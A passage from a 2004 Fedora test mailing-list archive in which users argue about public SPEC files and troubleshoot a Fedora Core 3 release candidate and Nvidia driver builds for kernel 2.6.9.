MODULE_ALIAS_CHARDEV_MAJOR(NV_MAJOR_DEVICE_NUMBER); > > #endif > > > > in the nv.c file and ran the installer. Worked perfectly > > fine after that. I am currently running the *-667 kernel. > > Are you making sure your xorg.conf file is setup properly? > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From fedora at wir-sind-cool.org Sat Nov 6 00:34:15 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 6 Nov 2004 01:34:15 +0100 Subject: Public SPEC files please In-Reply-To: References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> <20041105235917.786c822d.fedora@wir-sind-cool.org> Message-ID: <20041106013415.74425a0d.fedora@wir-sind-cool.org> On Sat, 6 Nov 2004 00:19:39 +0100 (CET), Dag Wieers wrote: > > And why are we discussing this when we wait for official Fedora Extras > > anyway? > > Ok. That would be an acceptable answer. Instead of disputing everything I > say something like this I can live with. Hmm, you didn't even ask about status updates from the Fedora merger front. And as you know, I'm not the fedora.us spokesman, so you would be asking the wrong person. ;) Although, I thought the information in my first reply in this thread was enough of a hint. > Any dates attached to it ? Not being the spokesman of fedora.us or Fedora Extras, I'm not in the know. There is a sporadical flow of information, but no schedule. Only plans. I posted my feelings somewhere else and don't want to repeat that here. > My request is not (necessarily) about packages that are derived from mine. > My query is about being able to follow any development that interest me. > To be able to quickly compare eg. the latest fedora.us SPEC, together with > the latest Mandrake SPEC, PLD SPEC or openpkg SPEC. How often do I need to repeat myself? Such a thing does not exist at fedora.us unlike at rpm.livna.org. The CVS server was never really used for live-development except for a small set of packages. Nobody pushed forward the development of the infrastructure and necessary policies. Either nobody had the time or interest. Or everybody hoped that a miracle would happen and Fedora Project infrastructure would appear much sooner. And as a normal contributor one could follow activity with yum by monitoring the "pending" repository, by watching the UPDATE and PUBLISH queues, and by mirroring the allspecs tarball. > http://svn.rpmforge.net/svn/trunk/rpms/ Which was filled some time this year and has not been used earlier. Similar to bugzilla.atrpms.net, it doesn't seem to be linked at your repository's web site and not at freshrpms.net either. Talking about more transparency... -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 1.09 1.76 2.70 From dag at wieers.com Sat Nov 6 01:09:06 2004 From: dag at wieers.com (Dag Wieers) Date: Sat, 6 Nov 2004 02:09:06 +0100 (CET) Subject: Public SPEC files please In-Reply-To: <20041106013415.74425a0d.fedora@wir-sind-cool.org> References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> <20041105235917.786c822d.fedora@wir-sind-cool.org> <20041106013415.74425a0d.fedora@wir-sind-cool.org> Message-ID: On Sat, 6 Nov 2004, Michael Schwendt wrote: > On Sat, 6 Nov 2004 00:19:39 +0100 (CET), Dag Wieers wrote: > > > > And why are we discussing this when we wait for official Fedora Extras > > > anyway? > > > > Ok. That would be an acceptable answer. Instead of disputing everything I > > say something like this I can live with. > > Hmm, you didn't even ask about status updates from the Fedora merger > front. And as you know, I'm not the fedora.us spokesman, so you would > be asking the wrong person. ;) Then next time, feel free to ignore my mails. If you're not a fedora.us spokesman and are only adding noise, I have wasted your and my time. Kind regards, -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From lux at diesel-research.com Sat Nov 6 01:36:57 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 05 Nov 2004 18:36:57 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099696892.9703.8.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692116.30475.1.camel@localhost.localdomain> <1099696892.9703.8.camel@localhost.localdomain> Message-ID: <1099705017.3873.4.camel@localhost.localdomain> If you are implying that the Nvidia driver installs without source, you are partially wrong in the general and totally wrong in this case. The Nvidia driver DOES install without kernel source code on common kernels, ie ones that the Nvidia team has compiled a kernel for and included in the install pack. However, if you read the driver fine print, you will find that if your kernel version isn't supported, you need to have kernel source installed in order to build the kernel. That is precisely what the Nvidia "install" tool does. Thus, I DO need kernel source to get an Nvidia driver running with 2.6.9-1.667 as I highly doubt Nvidia had included a driver for this kernel in their install pack. On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > > > BTW: Where did you get kernel source from ? > > As per the usual answer here, you really shouldn't need it just to build > drivers. I think that Nvidia have picked up that clue by now, all even > mildly sane distros have something useful under > /lib/modules//build (be it a symlink or a real directory > with the needed files). > > If you actually want the source for building a custom kernel, that's a > legitimate use of course, and then there's instructions for how to get > the Fedora-patched source tree from the kernel SRPM in the distribution > release notes. > > > I've been running in VESA mode for 3 weeks now. > > The nv driver, while not providing any 3D acceleration, should be _much_ > better than using a vesa driver in terms of usable video modes etc... > You might want to use that as a backup instead. > > Best regards, > Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University > -- Kim Lux (Mr.) Diesel Research Inc From gene.heskett at verizon.net Sat Nov 6 01:39:35 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Fri, 5 Nov 2004 20:39:35 -0500 Subject: FC3RC5 boot hung In-Reply-To: <20041105223427.17513.qmail@webmail03.mesa1.secureserver.net> References: <20041105223427.17513.qmail@webmail03.mesa1.secureserver.net> Message-ID: <200411052039.35142.gene.heskett@verizon.net> On Friday 05 November 2004 17:34, Brian Callahan wrote: >disable rhgb when the grup comes up. Just hit the "e" key then > delete rhgb quiet > >BC I saw that in a previous message kmails search found, did it. Then got into a no-screens hell for about 10 minutes before I gave up and I was able to get to /etc/inittab and fix that too, with a 3. Then I was able to eventually get x to run via the setup tools, but not real well until I ran some other tool and set the monitor type. But I had to fool with the color depth also, it seems the rage128 driver only support 24 bit settings, and anaconda set it for 16, and I tried 32 with the same "no support for that bit depth" result. Some sort oif a cheap card, 16 megs of ram according to one tool, but I think half of it is trashed, when the screen blanker kicks in, one must switch screens to get a total redraw or the unblanked screen is trashed, heavily pixelated horizontally. But ATM, everything I've tried seems to be working except ping to some locations. My home network looks like this 192.168.xx.1 gene.coyote.den [gateway/firewall box]<->rtr<->dsl modem 192.168.xx.2 amiga.coyote.den, offline for good I think 192.168.xx.3 coyote.coyote.den 192.168.xx.4 shop.coyote.den < the new FC3RC5 install The router is a linksys, the usual home variety "something or other 41". There is a netgear 8 port switch connecting all the machines so all routing and dns lookups are on gene. I can ping that 'shop' box from coyote I can get to the internet from 'shop' just fine I cannot ping 'coyote' from 'shop' I can ping 'gene' from shop. There was a time when I had FC2 on 'shop', and all ping directions worked. If anybody has seen this particular duck, yell please. Thanks for the reply Brian, I appreciate it. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From fedora at wir-sind-cool.org Sat Nov 6 01:42:59 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 6 Nov 2004 02:42:59 +0100 Subject: Public SPEC files please In-Reply-To: References: <20041105112907.349c1461.fedora@wir-sind-cool.org> <20041105144141.536b0e96.fedora@wir-sind-cool.org> <20041105182042.437f8db9.fedora@wir-sind-cool.org> <20041105174703.GB19875@devserv.devel.redhat.com> <20041105235917.786c822d.fedora@wir-sind-cool.org> <20041106013415.74425a0d.fedora@wir-sind-cool.org> Message-ID: <20041106024259.0f9fe653.fedora@wir-sind-cool.org> On Sat, 6 Nov 2004 02:09:06 +0100 (CET), Dag Wieers wrote: > > > > And why are we discussing this when we wait for official Fedora Extras > > > > anyway? > > > > > > Ok. That would be an acceptable answer. Instead of disputing everything I > > > say something like this I can live with. > > > > Hmm, you didn't even ask about status updates from the Fedora merger > > front. And as you know, I'm not the fedora.us spokesman, so you would > > be asking the wrong person. ;) > > Then next time, feel free to ignore my mails. If you're not a fedora.us > spokesman and are only adding noise, I have wasted your and my time. Then don't address me personally. Easy as that. If you prefer no signal at all, no problem. Thought I'd include a negative answer to that question among other replies in this thread. Enjoy the silence... -- Fedora Core release 3 (Heidelberg) - Linux 2.6.9-1.649 loadavg: 4.84 4.76 4.04 From veguilla at hpcf.upr.edu Sat Nov 6 01:51:41 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Fri, 05 Nov 2004 21:51:41 -0400 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099705017.3873.4.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692116.30475.1.camel@localhost.localdomain> <1099696892.9703.8.camel@localhost.localdomain> <1099705017.3873.4.camel@localhost.localdomain> Message-ID: <1099705902.10772.15.camel@ricardo.veguilla.net> On Fri, 2004-11-05 at 18:36 -0700, Kim Lux wrote: > If you are implying that the Nvidia driver installs without source, you > are partially wrong in the general and totally wrong in this case. The > Nvidia driver DOES install without kernel source code on common kernels, > ie ones that the Nvidia team has compiled a kernel for and included in > the install pack. The nvidia installer includes pre-compiled modules for the kernels shipped with most distributions, that is correct. But the nvidia installer can compile the module without the kernel source installed. > However, if you read the driver fine print, you will find that if your > kernel version isn't supported, you need to have kernel source installed > in order to build the kernel. That is precisely what the Nvidia > "install" tool does. Did you try? I used to regularly compile the nvidia modules (before the 2.6.9 kernel) without the kernel-source RPM installed (which I've never installed in my system). Regards, -- Ricardo Veguilla From brian at networklifeline.net Sat Nov 6 02:05:58 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 19:05:58 -0700 Subject: nvidia driver kernel 2.6.9 667 Message-ID: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> I just got it running with NO SOURCE installed. I used /lib/modules/2.6.9-667/build/include as the source code for my running kernel, editied the nv.c and then the module loads without any errors. BC > -------- Original Message -------- > Subject: Re: nvidia driver kernel 2.6.9 667 > From: "Kim Lux" > Date: Fri, November 05, 2004 8:36 pm > To: "For testers of Fedora Core development releases" > > > If you are implying that the Nvidia driver installs without source, you > are partially wrong in the general and totally wrong in this case. The > Nvidia driver DOES install without kernel source code on common kernels, > ie ones that the Nvidia team has compiled a kernel for and included in > the install pack. > > However, if you read the driver fine print, you will find that if your > kernel version isn't supported, you need to have kernel source installed > in order to build the kernel. That is precisely what the Nvidia > "install" tool does. > > Thus, I DO need kernel source to get an Nvidia driver running with > 2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > kernel in their install pack. > > > > > On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > > On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > > > > > BTW: Where did you get kernel source from ? > > > > As per the usual answer here, you really shouldn't need it just to build > > drivers. I think that Nvidia have picked up that clue by now, all even > > mildly sane distros have something useful under > > /lib/modules//build (be it a symlink or a real directory > > with the needed files). > > > > If you actually want the source for building a custom kernel, that's a > > legitimate use of course, and then there's instructions for how to get > > the Fedora-patched source tree from the kernel SRPM in the distribution > > release notes. > > > > > I've been running in VESA mode for 3 weeks now. > > > > The nv driver, while not providing any 3D acceleration, should be _much_ > > better than using a vesa driver in terms of usable video modes etc... > > You might want to use that as a backup instead. > > > > Best regards, > > Per > > > > -- > > Per Bjornsson > > Ph.D. Candidate, Department of Applied Physics, Stanford University > > > -- > Kim Lux (Mr.) Diesel Research Inc > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From bavinic at comcast.net Sat Nov 6 02:08:55 2004 From: bavinic at comcast.net (Jim Martin) Date: Fri, 05 Nov 2004 21:08:55 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> Message-ID: <418C3237.9010006@comcast.net> Brian Callahan wrote: >I just got it running with NO SOURCE installed. I used >/lib/modules/2.6.9-667/build/include as the source code for my running >kernel, editied the nv.c and then the module loads without any errors. > >BC > > > >>-------- Original Message -------- >>Subject: Re: nvidia driver kernel 2.6.9 667 >>From: "Kim Lux" >>Date: Fri, November 05, 2004 8:36 pm >>To: "For testers of Fedora Core development releases" >> >> >>If you are implying that the Nvidia driver installs without source, you >>are partially wrong in the general and totally wrong in this case. The >>Nvidia driver DOES install without kernel source code on common kernels, >>ie ones that the Nvidia team has compiled a kernel for and included in >>the install pack. >> >>However, if you read the driver fine print, you will find that if your >>kernel version isn't supported, you need to have kernel source installed >>in order to build the kernel. That is precisely what the Nvidia >>"install" tool does. >> >>Thus, I DO need kernel source to get an Nvidia driver running with >>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this >>kernel in their install pack. >> >> >> >> >>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: >> >> >>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: >>> >>> >>> >>>>BTW: Where did you get kernel source from ? >>>> >>>> >>>As per the usual answer here, you really shouldn't need it just to build >>>drivers. I think that Nvidia have picked up that clue by now, all even >>>mildly sane distros have something useful under >>>/lib/modules//build (be it a symlink or a real directory >>>with the needed files). >>> >>>If you actually want the source for building a custom kernel, that's a >>>legitimate use of course, and then there's instructions for how to get >>>the Fedora-patched source tree from the kernel SRPM in the distribution >>>release notes. >>> >>> >>> >>>>I've been running in VESA mode for 3 weeks now. >>>> >>>> >>>The nv driver, while not providing any 3D acceleration, should be _much_ >>>better than using a vesa driver in terms of usable video modes etc... >>>You might want to use that as a backup instead. >>> >>>Best regards, >>>Per >>> >>>-- >>>Per Bjornsson >>>Ph.D. Candidate, Department of Applied Physics, Stanford University >>> >>> >>> >>-- >>Kim Lux (Mr.) Diesel Research Inc >> >>-- >>fedora-test-list mailing list >>fedora-test-list at redhat.com >>To unsubscribe: >>http://www.redhat.com/mailman/listinfo/fedora-test-list >> >> > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, check www.nvidia.com for th update BaVinic From rda at rincon.com Sat Nov 6 02:12:18 2004 From: rda at rincon.com (Robert D. Arendt) Date: Fri, 05 Nov 2004 19:12:18 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099705017.3873.4.camel@localhost.localdomain> References: <20041105215943.16420.qmail@webmail-2-6.mesa1.secureserver.net> <1099692116.30475.1.camel@localhost.localdomain> <1099696892.9703.8.camel@localhost.localdomain> <1099705017.3873.4.camel@localhost.localdomain> Message-ID: <418C3302.1030606@rincon.com> True, the NVidia script will check if pre-built modules exist. But if they don't, it only needs the kernel source *headers* provided with each kernel, as previously noted. From NVIDIA-Linux-x86-1.0-6111-pkg1/usr/src/nv/makefile: KERNEL_SOURCES := /lib/modules/$(shell uname -r)/build KERNEL_HEADERS := $(KERNEL_SOURCES)/include You can unpack the nvidia source using sh NVIDIA-Linux-x86-1.0-6111-pkg1.run -a -x (note: -a accepts the license) -Bob Arendt Kim Lux wrote: > If you are implying that the Nvidia driver installs without source, you > are partially wrong in the general and totally wrong in this case. The > Nvidia driver DOES install without kernel source code on common kernels, > ie ones that the Nvidia team has compiled a kernel for and included in > the install pack. > > However, if you read the driver fine print, you will find that if your > kernel version isn't supported, you need to have kernel source installed > in order to build the kernel. That is precisely what the Nvidia > "install" tool does. > > Thus, I DO need kernel source to get an Nvidia driver running with > 2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > kernel in their install pack. > > > > > On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > >>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: >> >> >>>BTW: Where did you get kernel source from ? >> >>As per the usual answer here, you really shouldn't need it just to build >>drivers. I think that Nvidia have picked up that clue by now, all even >>mildly sane distros have something useful under >>/lib/modules//build (be it a symlink or a real directory >>with the needed files). >> >>If you actually want the source for building a custom kernel, that's a >>legitimate use of course, and then there's instructions for how to get >>the Fedora-patched source tree from the kernel SRPM in the distribution >>release notes. >> >> >>>I've been running in VESA mode for 3 weeks now. >> >>The nv driver, while not providing any 3D acceleration, should be _much_ >>better than using a vesa driver in terms of usable video modes etc... >>You might want to use that as a backup instead. >> >>Best regards, >>Per >> >>-- >>Per Bjornsson >>Ph.D. Candidate, Department of Applied Physics, Stanford University >> From brian at networklifeline.net Sat Nov 6 02:39:32 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 19:39:32 -0700 Subject: nvidia driver kernel 2.6.9 667 Message-ID: <20041106023932.31035.qmail@webmail04.mesa1.secureserver.net> OK just out of curiosity after hacking the nv.c file and getting X working I decided to try the new driver they posted today as suggested. Installed Perfectly and the module loaded but when I start X I get ov 5 21:35:44 Penguin1 kernel: NVRM: client supports wrong rm api version!! Nov 5 21:35:44 Penguin1 kernel: NVRM: aborting to avoid catastrophe! Nov 5 21:35:45 Penguin1 gdm[11206]: gdm_slave_xioerror_handler: Fatal X error - Restarting :0 Nov 5 21:35:49 Penguin1 kernel: NVRM: client supports wrong rm api version!! Nov 5 21:35:49 Penguin1 kernel: NVRM: aborting to avoid catastrophe! Nov 5 21:35:50 Penguin1 gdm[11293]: gdm_slave_xioerror_handler: Fatal X error - Restarting :0 Nov 5 21:35:50 Penguin1 gdm[11116]: deal_with_x_crashes: Running the XKeepsCrashing script Same xorg.conf as before - the only thing that changed is the driver Any ideas ? > -------- Original Message -------- > Subject: Re: nvidia driver kernel 2.6.9 667 > From: "Jim Martin" > Date: Fri, November 05, 2004 9:08 pm > To: "For testers of Fedora Core development releases" > > > Brian Callahan wrote: > > >I just got it running with NO SOURCE installed. I used > >/lib/modules/2.6.9-667/build/include as the source code for my running > >kernel, editied the nv.c and then the module loads without any errors. > > > >BC > > > > > > > >>-------- Original Message -------- > >>Subject: Re: nvidia driver kernel 2.6.9 667 > >>From: "Kim Lux" > >>Date: Fri, November 05, 2004 8:36 pm > >>To: "For testers of Fedora Core development releases" > >> > >> > >>If you are implying that the Nvidia driver installs without source, you > >>are partially wrong in the general and totally wrong in this case. The > >>Nvidia driver DOES install without kernel source code on common kernels, > >>ie ones that the Nvidia team has compiled a kernel for and included in > >>the install pack. > >> > >>However, if you read the driver fine print, you will find that if your > >>kernel version isn't supported, you need to have kernel source installed > >>in order to build the kernel. That is precisely what the Nvidia > >>"install" tool does. > >> > >>Thus, I DO need kernel source to get an Nvidia driver running with > >>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > >>kernel in their install pack. > >> > >> > >> > >> > >>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > >> > >> > >>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > >>> > >>> > >>> > >>>>BTW: Where did you get kernel source from ? > >>>> > >>>> > >>>As per the usual answer here, you really shouldn't need it just to build > >>>drivers. I think that Nvidia have picked up that clue by now, all even > >>>mildly sane distros have something useful under > >>>/lib/modules//build (be it a symlink or a real directory > >>>with the needed files). > >>> > >>>If you actually want the source for building a custom kernel, that's a > >>>legitimate use of course, and then there's instructions for how to get > >>>the Fedora-patched source tree from the kernel SRPM in the distribution > >>>release notes. > >>> > >>> > >>> > >>>>I've been running in VESA mode for 3 weeks now. > >>>> > >>>> > >>>The nv driver, while not providing any 3D acceleration, should be _much_ > >>>better than using a vesa driver in terms of usable video modes etc... > >>>You might want to use that as a backup instead. > >>> > >>>Best regards, > >>>Per > >>> > >>>-- > >>>Per Bjornsson > >>>Ph.D. Candidate, Department of Applied Physics, Stanford University > >>> > >>> > >>> > >>-- > >>Kim Lux (Mr.) Diesel Research Inc > >> > >>-- > >>fedora-test-list mailing list > >>fedora-test-list at redhat.com > >>To unsubscribe: > >>http://www.redhat.com/mailman/listinfo/fedora-test-list > >> > >> > > > > > > > I just installed the new 6629 nvidia driver in FC3 and it worked fine, > check www.nvidia.com for th update > > BaVinic > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From bavinic at comcast.net Sat Nov 6 02:43:29 2004 From: bavinic at comcast.net (Jim Martin) Date: Fri, 05 Nov 2004 21:43:29 -0500 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <20041106023932.31035.qmail@webmail04.mesa1.secureserver.net> References: <20041106023932.31035.qmail@webmail04.mesa1.secureserver.net> Message-ID: <418C3A51.7050605@comcast.net> Brian Callahan wrote: >OK just out of curiosity after hacking the nv.c file and getting X >working I decided to try the new driver they posted today as suggested. >Installed Perfectly and the module loaded but when I start X I get > >ov 5 21:35:44 Penguin1 kernel: NVRM: client supports wrong rm api >version!! >Nov 5 21:35:44 Penguin1 kernel: NVRM: aborting to avoid catastrophe! >Nov 5 21:35:45 Penguin1 gdm[11206]: gdm_slave_xioerror_handler: Fatal X >error - Restarting :0 >Nov 5 21:35:49 Penguin1 kernel: NVRM: client supports wrong rm api >version!! >Nov 5 21:35:49 Penguin1 kernel: NVRM: aborting to avoid catastrophe! >Nov 5 21:35:50 Penguin1 gdm[11293]: gdm_slave_xioerror_handler: Fatal X >error - Restarting :0 >Nov 5 21:35:50 Penguin1 gdm[11116]: deal_with_x_crashes: Running the >XKeepsCrashing script > > >Same xorg.conf as before - the only thing that changed is the driver > >Any ideas ? > > > > > >>-------- Original Message -------- >>Subject: Re: nvidia driver kernel 2.6.9 667 >>From: "Jim Martin" >>Date: Fri, November 05, 2004 9:08 pm >>To: "For testers of Fedora Core development releases" >> >> >>Brian Callahan wrote: >> >> >> >>>I just got it running with NO SOURCE installed. I used >>>/lib/modules/2.6.9-667/build/include as the source code for my running >>>kernel, editied the nv.c and then the module loads without any errors. >>> >>>BC >>> >>> >>> >>> >>> >>>>-------- Original Message -------- >>>>Subject: Re: nvidia driver kernel 2.6.9 667 >>>>From: "Kim Lux" >>>>Date: Fri, November 05, 2004 8:36 pm >>>>To: "For testers of Fedora Core development releases" >>>> >>>> >>>>If you are implying that the Nvidia driver installs without source, you >>>>are partially wrong in the general and totally wrong in this case. The >>>>Nvidia driver DOES install without kernel source code on common kernels, >>>>ie ones that the Nvidia team has compiled a kernel for and included in >>>>the install pack. >>>> >>>>However, if you read the driver fine print, you will find that if your >>>>kernel version isn't supported, you need to have kernel source installed >>>>in order to build the kernel. That is precisely what the Nvidia >>>>"install" tool does. >>>> >>>>Thus, I DO need kernel source to get an Nvidia driver running with >>>>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this >>>>kernel in their install pack. >>>> >>>> >>>> >>>> >>>>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: >>>> >>>> >>>> >>>> >>>>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>>BTW: Where did you get kernel source from ? >>>>>> >>>>>> >>>>>> >>>>>> >>>>>As per the usual answer here, you really shouldn't need it just to build >>>>>drivers. I think that Nvidia have picked up that clue by now, all even >>>>>mildly sane distros have something useful under >>>>>/lib/modules//build (be it a symlink or a real directory >>>>>with the needed files). >>>>> >>>>>If you actually want the source for building a custom kernel, that's a >>>>>legitimate use of course, and then there's instructions for how to get >>>>>the Fedora-patched source tree from the kernel SRPM in the distribution >>>>>release notes. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>>I've been running in VESA mode for 3 weeks now. >>>>>> >>>>>> >>>>>> >>>>>> >>>>>The nv driver, while not providing any 3D acceleration, should be _much_ >>>>>better than using a vesa driver in terms of usable video modes etc... >>>>>You might want to use that as a backup instead. >>>>> >>>>>Best regards, >>>>>Per >>>>> >>>>>-- >>>>>Per Bjornsson >>>>>Ph.D. Candidate, Department of Applied Physics, Stanford University >>>>> >>>>> >>>>> >>>>> >>>>> >>>>-- >>>>Kim Lux (Mr.) Diesel Research Inc >>>> >>>>-- >>>>fedora-test-list mailing list >>>>fedora-test-list at redhat.com >>>>To unsubscribe: >>>>http://www.redhat.com/mailman/listinfo/fedora-test-list >>>> >>>> >>>> >>>> >>> >>> >>> >>> >>I just installed the new 6629 nvidia driver in FC3 and it worked fine, >>check www.nvidia.com for th update >> >>BaVinic >> >>-- >>fedora-test-list mailing list >>fedora-test-list at redhat.com >>To unsubscribe: >>http://www.redhat.com/mailman/listinfo/fedora-test-list >> >> > > > Sorry, but I have no idea what that is, I've installed the new driver on 2 computers with different nv cards, and have not seen that yet. BaVinic From brian at networklifeline.net Sat Nov 6 02:53:25 2004 From: brian at networklifeline.net (Brian Callahan) Date: Fri, 5 Nov 2004 19:53:25 -0700 Subject: nvidia driver kernel 2.6.9 667 Message-ID: <20041106025325.31756.qmail@webmail04.mesa1.secureserver.net> Hmmm - don't know either :-( I installed the old driver, then the new driver again and now it works. Maybe an old module was still loaded as I keep testing . New driver works for me now no problem. BC > -------- Original Message -------- > Subject: Re: nvidia driver kernel 2.6.9 667 > From: "Jim Martin" > Date: Fri, November 05, 2004 9:43 pm > To: "For testers of Fedora Core development releases" > > > Brian Callahan wrote: > > >OK just out of curiosity after hacking the nv.c file and getting X > >working I decided to try the new driver they posted today as suggested. > >Installed Perfectly and the module loaded but when I start X I get > > > >ov 5 21:35:44 Penguin1 kernel: NVRM: client supports wrong rm api > >version!! > >Nov 5 21:35:44 Penguin1 kernel: NVRM: aborting to avoid catastrophe! > >Nov 5 21:35:45 Penguin1 gdm[11206]: gdm_slave_xioerror_handler: Fatal X > >error - Restarting :0 > >Nov 5 21:35:49 Penguin1 kernel: NVRM: client supports wrong rm api > >version!! > >Nov 5 21:35:49 Penguin1 kernel: NVRM: aborting to avoid catastrophe! > >Nov 5 21:35:50 Penguin1 gdm[11293]: gdm_slave_xioerror_handler: Fatal X > >error - Restarting :0 > >Nov 5 21:35:50 Penguin1 gdm[11116]: deal_with_x_crashes: Running the > >XKeepsCrashing script > > > > > >Same xorg.conf as before - the only thing that changed is the driver > > > >Any ideas ? > > > > > > > > > > > >>-------- Original Message -------- > >>Subject: Re: nvidia driver kernel 2.6.9 667 > >>From: "Jim Martin" > >>Date: Fri, November 05, 2004 9:08 pm > >>To: "For testers of Fedora Core development releases" > >> > >> > >>Brian Callahan wrote: > >> > >> > >> > >>>I just got it running with NO SOURCE installed. I used > >>>/lib/modules/2.6.9-667/build/include as the source code for my running > >>>kernel, editied the nv.c and then the module loads without any errors. > >>> > >>>BC > >>> > >>> > >>> > >>> > >>> > >>>>-------- Original Message -------- > >>>>Subject: Re: nvidia driver kernel 2.6.9 667 > >>>>From: "Kim Lux" > >>>>Date: Fri, November 05, 2004 8:36 pm > >>>>To: "For testers of Fedora Core development releases" > >>>> > >>>> > >>>>If you are implying that the Nvidia driver installs without source, you > >>>>are partially wrong in the general and totally wrong in this case. The > >>>>Nvidia driver DOES install without kernel source code on common kernels, > >>>>ie ones that the Nvidia team has compiled a kernel for and included in > >>>>the install pack. > >>>> > >>>>However, if you read the driver fine print, you will find that if your > >>>>kernel version isn't supported, you need to have kernel source installed > >>>>in order to build the kernel. That is precisely what the Nvidia > >>>>"install" tool does. > >>>> > >>>>Thus, I DO need kernel source to get an Nvidia driver running with > >>>>2.6.9-1.667 as I highly doubt Nvidia had included a driver for this > >>>>kernel in their install pack. > >>>> > >>>> > >>>> > >>>> > >>>>On Fri, 2004-11-05 at 15:21 -0800, Per Bjornsson wrote: > >>>> > >>>> > >>>> > >>>> > >>>>>On Fri, 2004-11-05 at 14:01, Kim Lux wrote: > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>>>BTW: Where did you get kernel source from ? > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>As per the usual answer here, you really shouldn't need it just to build > >>>>>drivers. I think that Nvidia have picked up that clue by now, all even > >>>>>mildly sane distros have something useful under > >>>>>/lib/modules//build (be it a symlink or a real directory > >>>>>with the needed files). > >>>>> > >>>>>If you actually want the source for building a custom kernel, that's a > >>>>>legitimate use of course, and then there's instructions for how to get > >>>>>the Fedora-patched source tree from the kernel SRPM in the distribution > >>>>>release notes. > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>>>I've been running in VESA mode for 3 weeks now. > >>>>>> > >>>>>> > >>>>>> > >>>>>> > >>>>>The nv driver, while not providing any 3D acceleration, should be _much_ > >>>>>better than using a vesa driver in terms of usable video modes etc... > >>>>>You might want to use that as a backup instead. > >>>>> > >>>>>Best regards, > >>>>>Per > >>>>> > >>>>>-- > >>>>>Per Bjornsson > >>>>>Ph.D. Candidate, Department of Applied Physics, Stanford University > >>>>> > >>>>> > >>>>> > >>>>> > >>>>> > >>>>-- > >>>>Kim Lux (Mr.) Diesel Research Inc > >>>> > >>>>-- > >>>>fedora-test-list mailing list > >>>>fedora-test-list at redhat.com > >>>>To unsubscribe: > >>>>http://www.redhat.com/mailman/listinfo/fedora-test-list > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>> > >>I just installed the new 6629 nvidia driver in FC3 and it worked fine, > >>check www.nvidia.com for th update > >> > >>BaVinic > >> > >>-- > >>fedora-test-list mailing list > >>fedora-test-list at redhat.com > >>To unsubscribe: > >>http://www.redhat.com/mailman/listinfo/fedora-test-list > >> > >> > > > > > > > Sorry, but I have no idea what that is, I've installed the new driver on > 2 computers with different nv cards, and have not seen that yet. > > BaVinic > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From pvinson at fit.edu Sat Nov 6 